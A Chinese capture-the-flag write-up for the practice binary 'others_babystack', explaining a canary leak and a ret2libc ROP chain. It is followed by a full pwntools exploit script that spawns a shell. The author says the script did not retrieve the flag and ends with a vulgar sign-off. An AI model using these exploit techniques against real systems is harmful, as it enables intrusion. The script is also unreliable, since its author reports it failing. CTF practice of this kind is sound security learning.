二战canary我的脚本和网上脚本都得不到flag但我觉得是平台的锅——others_babystack
基本信息
ida:
明显的栈溢出,但是由于开启canary所以要先泄露canary
通过read函数覆盖到ebp-8,canary的最低字节为\x00,但是puts遇到\x00停止,所以覆盖为\n
然后通过LibcSearcher得到libc版本
这里由于while循环所以要返回一个main创一个新栈再退出从而执行到写入的函数
理论上这样就行了,但是我的脚本和网上的都不行,但我觉得我写的无懈可击
这题绝对是平台的锅,直接下一位
再您妈的见
exp:
from pwn import *
from LibcSearcher import *
context.log_level='debug'
#r=remote('node3.buuoj.cn',25286)
r=process('./babystack')
ret=0x040067e
pop_rdi=0x0000000000400a93
elf=ELF('./babystack')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x400908
r.sendlineafter('>>','1')
r.sendline('a'*(0x90-0x8))
r.sendlineafter('>>','2')
r.recvuntil('a\n')
canary=u64(r.recv(7).rjust(8,'\x00'))
print('[+]canary: ',hex(canary))
payload='a'*(0x90-0x8)+p64(canary)+'b'*0x8
payload+=p64(ret)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter('>>','1')
r.sendline(payload)
r.sendlineafter('>>','3')
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
payload='a'*(0x90-0x8)+p64(canary)+'b'*0x8
payload+=p64(ret)+p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
r.sendlineafter('>>','1')
r.sendline(payload)
r.sendlineafter('>>','3')
r.interactive()
ps:1)得到canary要右对齐
2)只有这个函数正确结束后才能执行溢出的函数
3)canary的最低位为0